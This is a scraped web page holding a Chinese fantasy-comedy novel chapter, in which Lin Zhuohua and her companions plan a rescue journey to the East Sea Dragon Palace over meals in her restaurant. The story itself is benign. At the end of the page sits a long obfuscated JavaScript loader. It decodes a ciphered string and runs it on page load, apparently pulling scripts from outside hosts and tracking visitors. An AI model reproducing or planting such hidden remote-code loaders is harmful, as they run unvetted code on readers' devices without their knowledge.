首页
第123章 饭馆里的“军事会
返回

第123章 饭馆里的“军事会议”

章节报错(免登陆)

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    第123章饭馆里的“军事会议”(第1/2页)
    林灼华把饭馆的门板一块一块往上装,装到第三块的时候,铁憨憨从后厨探出脑袋,手里还举着个沾了面粉的擀面杖:“灼华姐,你这大中午的关啥门?我这包子还差一笼没蒸呢!”
    林灼华头也不回,手上不停:“歇业三天,你那一笼包子留着回来再蒸。”
    铁憨憨愣了一下:“歇业?去哪儿?”
    林灼华装好最后一块门板,拍了拍手上的灰,转过身来,饭馆里已经坐了一圈人——沈玉郎坐在靠窗的位置,手里端着茶碗,一脸“我就知道又得出事”的表情;林灼霜坐在他对面,正不紧不慢地给自己倒了碗茶;阿绿蹲在门口,手里捧着半个西瓜,啃得满脸瓜瓤;小翠趴在桌上,尾巴尖一摇一摇的,眼珠子滴溜溜转着打量众人。
    林灼华走到桌子主位,双手撑着桌面,扫了一圈,清了清嗓子:“行了,都到齐了,俺说个事儿。”
    阿绿咬着西瓜含含糊糊地问:“姑奶奶,这回又去哪儿折腾?”
    林灼华瞪了他一眼:“什么叫折腾?俺这是去办正事儿。”
    沈玉郎放下茶碗,慢悠悠地说:“你上回说办正事儿,是去砸马家的嫁妆;上上回说办正事儿,是去撬人家镇魂碑。你这‘正事儿’的范围,比海还宽。”
    林灼华拍了下桌子:“这回是真正事儿!孙大嗓说了,俺师父被困在九幽秘境的无间狱里,得集齐三盏灯才能救他出来。俺寻思着,这事儿不能拖——拖一天,师父在里头就多受一天的罪。”
    她顿了顿,竖起一根手指:“第一盏灯,东海龙宫的鲛人泪。”
    小翠一听“东海龙宫”四个字,耳朵“唰”地竖了起来,尾巴也不摇了:“龙宫?那儿可有不少好东西——珊瑚、珍珠、夜明珠……随便捞一把就够吃半年!”
    林灼华斜了她一眼:“你当是去赶海呢?还捞一把——那是龙宫,人家虾兵蟹将拿叉子叉你!”
    小翠“嘿嘿”一笑,缩了缩脖子:“我这不是替你想想嘛——万一路上缺钱了,也好有个进项。”
    阿绿把啃完的西瓜皮往门口一扔,抹了把嘴,问:“姑奶奶,那咱先去哪儿?”
    林灼华说:“东海龙宫——孙大嗓说了,鲛人泪讲究缘分,得先去东海碰碰运气。”
    沈玉郎皱眉:“东海龙宫在哪儿?总不能站在海边喊两声‘龙王开门’吧?”
    林灼霜放下茶碗,不紧不慢地接过话头:“传说在胶东半岛最东端的成山头底下——那儿有个暗流漩涡,是龙宫的入口。”
    她顿了顿,又补了一句:“不过传说归传说,那漩涡底下到底啥样,没人说得清。我翻过一些古籍,上面说成山头那一带海底地形复杂,暗流交错,寻常人下去了,未必上得来。”
    铁憨憨从后厨探出脑袋:“那灼华姐下去能上得来不?”
    林灼华“啧”了一声:“你这话问的——俺啥时候掉过链子?”
    铁憨憨缩回脑袋,嘟囔了一句:“上回在九幽秘境,你不就差点没上来嘛……”
    林灼华装作没听见,转头看向林灼霜:“姐,你见多识广,你说那鲛人泪到底长啥样?俺到时候别认错了。”
    林灼霜端起茶碗,轻轻吹了吹浮沫:“鲛人泪不是普通的眼泪——传说鲛人一族只有在极悲或极喜之时,才会落下那种能凝成珠子的泪。寻常鲛人一辈子也未必能落下一颗,所以格外珍贵。”
    她抬眼看了林灼华一眼:“不过你倒不必担心认不出——鲛人泪遇光会泛蓝光,夜里拿出来,能照亮一间屋子。”
    阿绿蹲在门口,挠了挠头上的绿毛:“那咱到了龙宫,咋开口跟人家要啊?总不能进去就说‘给俺一滴眼泪’吧——人家不拿叉子叉咱才怪。”
    林灼华说:“所以俺寻思着——先礼后兵。咱先好好说,人家要是愿意给,咱就客客气气谢过;要是不愿意给……”
    她顿了顿,咧嘴一笑:“那再想别的辙。”
    沈玉郎一看她那笑,后背就发凉:“你每次说‘想别的辙’,都没啥好事。”
    林灼华理直气壮:“那你说咋办?师父在无间狱里关着,咱总不能因为怕事就不去救他吧?”
    沈玉郎张了张嘴,想说什么,又闭上了——他当然知道林灼华说得对。师父被困,她这个当徒弟的要是因为怕事不去救,那才真叫人寒心。
    他叹了口气,端起茶碗喝了一口:“行——去就去。但我丑话说在前头,要是碰上打不过的,咱就赶紧撤,别硬拼。”
    林灼华一拍桌子:“这还用你说?俺又不是傻子——打不过就跑,跑不过就骂,骂不过就……就再想辙!”
    林灼霜嘴角微微弯了一下,没接话。
    小翠趴在桌上,尾巴尖一摇一摇的,忽然问:“那咱啥时候出发?”
    林灼华说:“明天一早——今晚收拾行装,该带的都带上。铁憨憨,你多蒸几笼包子,路上吃。”
    铁憨憨在后厨应了一声:“好嘞!猪肉大葱的行不?”
    林灼华说:“行——再多带点辣酱,饕渊那小子要是跟来,没辣酱他能闹翻天。”
    阿绿蹲在门口,忽然举起手:“姑奶奶,俺也想去!”
    林灼华看了他一眼:“你去干啥?你连水都不会游,到了龙宫,人家虾兵蟹将一叉子把你叉到锅里去煮了——你倒是皮糙肉厚不怕煮,但那不是给人家加菜嘛!”
    阿绿委屈地瘪了瘪嘴:“那俺可以学游水……”
    林灼华说:“等你学会游水,黄花菜都凉了。你老老实实留在村里看家——顺便帮茶婆劈劈柴,她腿脚不利索。”
    阿绿还想说什么,被林灼华一个眼神瞪回去,只好蹲回门口,委屈巴巴地嘟囔:“劈柴就劈柴……”
    小鱼一直坐在角落里没吭声——他手里攥着一根树枝,在地上一笔一画地写着什么。听到这儿,他忽然抬起头,眼睛亮晶晶地看着林灼华:“姐,俺也想去!”
    林灼华转头看他:“你去干啥?你连字都认不全,到了龙宫连个路牌都看不懂。”
    小鱼撅起嘴:“俺可以学!”
    林灼华说:“那你先留下看家记账——饭馆这几天的账,你替俺记着。”
    小鱼一听“记账”两个字,脸就垮了下来:“俺不会记账……”
    林灼华走过去,揉了一把他的脑袋:“那就学——学不会,等你姐回来揍你。”
    小鱼捂着脑袋,委屈巴巴地说:“那……那俺学还不行嘛……”
    林灼华嘿嘿一笑:“这才是俺的好弟弟。记住了——饭馆开门做生意,每一笔进出都得记清楚。收了多少钱,花了多少钱,剩了多少钱,都得写明白。你姐回来要是对不上账,可要找你算账的。”
    小鱼苦着脸点了点头,又低头在地上一笔一画地写起来——他写的是“林小鱼”三个字,歪歪扭扭的,但一笔一画,写得很认真。
    林灼华看着他的侧脸,心里忽然软了一下——这孩子,虽然嘴上说着不会,但学东西向来肯下功夫。她蹲下去,指了指他写的字:“你这个‘鱼’字写反了——尾巴得朝这边。”
    她伸手在他手背上划了两下,小鱼照着改了改,抬头看她:“姐,这回对了不?”
    林灼华看了一眼:“对了——聪明。”
    小鱼咧嘴笑了,露出一口小白牙。
    林灼华拍拍小鱼的脑袋,站起身来,把脸转向屋里:“行了,闲话少说——说正事。”
    她走到桌子前头,把那张晒得发白的海图往桌上一铺,指头点在胶东半岛最东端那个尖尖上:“孙大嗓说了,鲛人泪讲究一个‘缘’字,得去东海龙宫走一趟。俺师父那句话也说得明白——九幽封印烂的是里子,不是皮儿。要补里子,光靠咱那几手野路子不够,得先弄明白当年眉引一脉到底是怎么封的。老龙王活得最久,他那儿应该有旧账。”
    饕渊正扒拉着铁憨憨那笼刚出屉的包子,闻言抬头:“东海龙宫?那地方可不是好进的。老龙王脾气怪,虾兵蟹将个个眼睛长在脑门上,见人先拿叉子比划。姑奶奶,你打算硬闯还是偷溜?”
    林灼华说:“先去问问路。他要是好好说话,俺就好好说话;他要是不好好说话——”
    她拍了拍腰后那把菜刀,没往下说,但意思很明白。
    阿绿蹲在门口,啃西瓜啃得汁水顺着下巴淌,含含糊糊地问:“姑奶奶,咱这回又去哪儿折腾?”
    “东海龙宫。”
    阿绿一块西瓜噎在嗓子眼里,噎得直翻白眼:“东海龙宫?!就是那个全是水、没一块干地的东海龙宫?”
    “你一个粽子,怕什么水?”
    “俺怕淹死!”阿绿理直气壮,“俺是粽子!粽子泡水里那是泡发!泡发了就露馅了!”
    林灼华被他说得一阵无语:“你一个绿毛粽子,本来就露着馅呢。”
    阿绿还想争辩,被林灼华一个眼神瞪回去,委屈巴巴地低头继续啃西瓜,嘴里嘟囔:“反正俺不去……俺打死也不去……”
    沈玉郎搁下茶碗,开口问:“龙宫在哪儿?”
    他这一问,屋里安静了一瞬。
    林灼华看向林灼霜——这个半路认回来的姐姐,虽然相处没几天,但对这些“秘境秘辛”的熟悉程度,比她这个亲妹妹像引眉传人多了。
    林灼霜正坐在窗边,手里端着一碗阿蛮刚泡的茶,闻言也不抬头,慢条斯理地说:“传说在胶东半岛最东端的成山头底下。那儿有个暗流漩涡,常年不冻,水色发黑,船到那儿就打转,渔人不敢靠近。龙宫的入口,就在那漩涡底下。”
    (本章未完,请点击下一页继续阅读)第123章饭馆里的“军事会议”(第2/2页)
    “成山头?”铁憨憨从灶间探出头来,脸上还沾着面粉,“俺听俺姥爷说过!说那地方是龙王的老家,天尽头!”
    “天尽头?”林灼华挑眉。
    “就是地到尽头、天到边上的意思。”铁憨憨挠了挠头,“俺姥爷说,早年间有人出海打鱼,漂到成山头那一片,看见海底有光,金灿灿的,跟点了满城的灯似的。回来跟人说,人家都说他撞了龙宫的水晶顶。”
    林灼霜点了点头:“那光不是传说——是龙宫的夜明珠映出来的。成山头底下的暗流漩涡,确实通着龙宫外海。不过……”
    她顿了顿,抬眼看向林灼华:“暗流不是谁都能过的。那水底下有龙宫的巡海夜叉,没有龙宫的‘水引’,外人一靠近就会被卷走。”
    “水引是啥?”林灼华问。
    “一种贝壳做的令牌,龙宫的人出入用的。外族人要是没有水引,就算游到漩涡口,也进不去。”
    “那俺上哪儿弄水引去?”林灼华皱眉。
    林灼霜摇了摇头:“这个我就不清楚了。龙宫的东西,向来不外传。不过——你既然是引眉血脉的传人,你娘当年跟东海龙宫有过交情也说不定。你要是能拿出什么信物,兴许能让他们认出来。”
    林灼华想了想,低头把腰后那把菜刀摘下来,放在桌上:“这个算不算?”
    菜刀普普通通,刀刃上还沾着早上切葱的碎末。林灼霜看了一眼,摇头:“这是把菜刀,不是信物。”
    “那俺身上也没别的了。”林灼华摊手。
    她这话说得轻松,但屋里人都知道——她身上不是没别的,她是把真正值钱的东西都收起来了。引眉血脉、灼华棍、还有眉引老头那个神神叨叨的器灵,全都不是能拿出去当“信物”的。要是让龙宫的人知道她就是引眉血脉的传人,恐怕不等她掏出信物,人家就先动手了。
    屋里沉默了一会儿。
    小鱼蹲在门槛上,手里的树枝停了,抬头看她:“姐,俺也想去。”
    林灼华头也不回:“你留下看家记账。”
    小鱼撅起嘴:“俺不会记账。”
    “那就学。”
    “学不会!”
    “学不会等你姐回来揍你。”
    小鱼瘪了瘪嘴,想顶回去,又不敢顶,最后闷闷地“哦”了一声,低头继续在地上划拉。划了两下,又抬起头来,小声说:“那……那你可得回来揍俺。”
    林灼华回头看了他一眼,嘴角弯了弯:“俺当然得回来——俺饭馆还开着呢,不回来谁给你做饭吃?”
    小鱼咧嘴笑了,露出一口小白牙。
    阿绿蹲在门口,西瓜啃完了,把瓜皮往地上一丢,又凑过来:“姑奶奶,那……那俺呢?”
    “你跟着去。”
    阿绿的脸一下子垮了:“俺不想去!俺怕水!”
    “你跟着去。”林灼华重复了一遍,“俺要是被夜叉卷走了,至少你皮糙肉厚,能当个肉盾。”
    阿绿憋了半天,憋出一句:“……姑奶奶,你这话说得俺心里拔凉拔凉的。”
    “凉就对了——等到了龙宫,有你更凉的。”
    林灼华把菜刀别回腰后,把海图卷起来塞进怀里,抬头看了一眼天色:“行了,话都说到位了——明天一早出发,去成山头。铁憨憨,你给俺备点干粮,别弄太多,背着累。”
    铁憨憨在灶间应了一声:“好嘞!俺给你蒸锅馒头带着!”
    “咸菜也带点。”
    “咸菜管够!”
    林灼华交代完,转身往门口走。走到门槛那儿,她顿了一下,回头看了一眼屋里——林灼霜还在喝茶,沈玉郎坐在桌边,正低头把龙宫的事往他那本笔记上记,阿蛮站在窗边,把茶壶里剩下的水倒掉,换了一壶新的。铁憨憨在灶间忙活,锅碗瓢盆叮当响。饕渊在啃最后一个包子。阿绿蹲在门口,抱着膝盖,一脸不情愿。小鱼又低下头,继续在地上练字。
    她心里忽然踏实了——不管龙宫底下等着她的是什么,至少她不是一个人去。
    “行了,都歇着吧。养足了精神,明天上路。”
    她踏出门槛,夜风迎面吹来,带着海水的咸腥味。她抬头看了一眼天,月亮正圆,照得海面银晃晃的。
    从渔村往东,就是成山头。
    从成山头往下,就是龙宫。
    她握了握腰间的刀柄,嘴角翘了翘——管他夜叉还是老龙王,她林灼华这一棍子抡出去,就没有打不开的门。
    小鱼低着头,手指头在地上画圈圈,画了半天,忽然又抬起头来,说:“姐,那俺学记账,学不会你也不能揍俺。”
    林灼华正端起茶碗灌了一口,闻言放下碗,斜了他一眼:“咋了,怕挨揍?”
    小鱼点点头,又摇摇头,支吾了半天才说:“俺不怕挨揍——俺怕你揍完了,就不带俺出去了。”
    这话说得没头没尾,但屋里几个人都听懂了。
    林灼华愣了一下,茶碗搁在桌上,发出一声轻响。她看着小鱼那张黑瘦的小脸,忽然想起自己小时候——她娘出门赶海,她也这么坐在门槛上,眼巴巴地等着,怕娘走了就不回来了。
    她叹了口气,走过去,蹲下来,跟小鱼平视:“俺揍你,是因为你该揍。俺不带你去,是因为那地方你现在去不得。但俺不是不要你了——俺回来,还得吃你记的账呢。”
    小鱼抬起头,眼睛亮晶晶的:“真的?”
    林灼华伸手揉了揉他的脑袋,把他那头乱蓬蓬的头发揉得更乱了:“真的。姐啥时候骗过你?”
    小鱼咧嘴笑了,露出一颗豁牙——前阵子换牙掉的,还没长齐整。
    铁憨憨从灶间探出头来,手里举着锅铲,喊了一声:“饭好了!海鲜疙瘩汤,一人一碗,管够!”
    屋里顿时热闹起来。
    阿绿第一个蹿起来,绿毛一抖,窜到灶台边,吸着鼻子闻香味:“姑奶奶,俺饿!”
    林灼华骂了一句:“你刚才不是啃了半个西瓜吗?”
    阿绿理直气壮:“西瓜是西瓜,疙瘩汤是疙瘩汤,那能一样吗?”
    饕渊把最后一个包子塞进嘴里,含糊不清地跟着喊:“就是就是,饭和饭不一样!俺也饿!”
    林灼霜摇了摇头,嘴角却带着一丝笑意,端着茶碗在桌边坐下,慢条斯理地喝了一口。
    沈玉郎合上笔记,放下笔,推了推架在鼻梁上那副装样子的眼镜——他其实不近视,但赶考时养成的习惯,觉得戴副眼镜显得有学问——站起来,朝灶间走:“我去帮铁憨憨端碗。”
    林灼华看着他的背影,忽然觉得这人虽然嘴贱,但到了事儿上,还挺靠得住。
    阿蛮已经洗好了碗筷,一摞一摞地摆在桌上,动作利落,一声不吭。
    小鱼不练字了,凑到灶台边,踮着脚往锅里看,被热气熏得直眨眼,却舍不得走。
    林灼华站起来,拍了拍膝盖上的灰,心里那根绷了一整天的弦,总算松了松。
    她忽然觉得,自己这一路走来,身边这些人——嘴贱的、憨的、馋的、闷的、小的,一个比一个不靠谱,但到了真章上,一个比一个靠得住。
    这比什么龙宫秘宝都值钱。
    她走到门口,倚着门框,又看了一眼月亮。
    海风从远处吹来,带着潮水的声响,一阵一阵,像天地在呼吸。
    成山头就在东边,月亮底下,银晃晃的海面尽头,谁也看不见的地方,那个传说中的暗流漩涡正在等着她。
    她不知道那下面有什么。
    但她知道,她不是一个人去。
    身后,铁憨憨的声音从灶间传出来:“疙瘩汤好了!谁要香菜?谁不要?”
    阿绿喊:“俺不要!香菜跟草似的!”
    饕渊喊:“俺要多放!放三勺!”
    阿蛮不说话,默默地端了一碗,搁在林灼霜面前。
    小鱼窜进灶间,又窜出来,手里端着一碗汤,小心翼翼地走到林灼华身边,递过去:“姐,你先喝。”
    林灼华低头看了一眼那碗汤——汤有点洒,碗沿上还沾着一点葱花,但热气腾腾的,闻着就香。
    她接过来,喝了一口,咸淡正好。
    她忽然觉得鼻子有点酸,但硬是忍住了,吸了吸鼻子,骂道:“大晚上喝这么烫的汤,你想烫死你姐啊?”
    小鱼缩了缩脖子,嘿嘿一笑:“那俺给你吹吹?”
    林灼华瞪了他一眼,也跟着笑了:“行了行了,进屋喝去,海边风大。”
    她端着汤碗往屋里走,经过门槛的时候,回头又看了一眼月亮。
    月亮还是那么圆,海面还是那么亮。
    明天就得往东走了。
    她一脚踏进屋里,热腾腾的香气扑面而来,铁憨憨在灶间喊:“姑奶奶,给你留了碗大的!多放的海肠!”
    阿绿蹲在门口啃西瓜,一脸不情愿。
    小鱼跟在她后头,学着她的样子,仰头看月亮,看了一会儿,忽然小声问:“姐,龙宫里真有龙吗?”
    林灼华头也没回,声音从屋里飘出来:“有没有龙,去了不就知道了。”
    小鱼眼睛一亮,又暗下去,低头嘟囔:“那俺又去不了。”
    林灼华的声音从屋里传出来,带着笑意:“你先把账学会了,等俺回来,带你去看成山头的海。”
    小鱼咧嘴笑了,露出那颗豁牙,像捡了个大便宜似的,端着碗,颠颠地跟进了屋。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();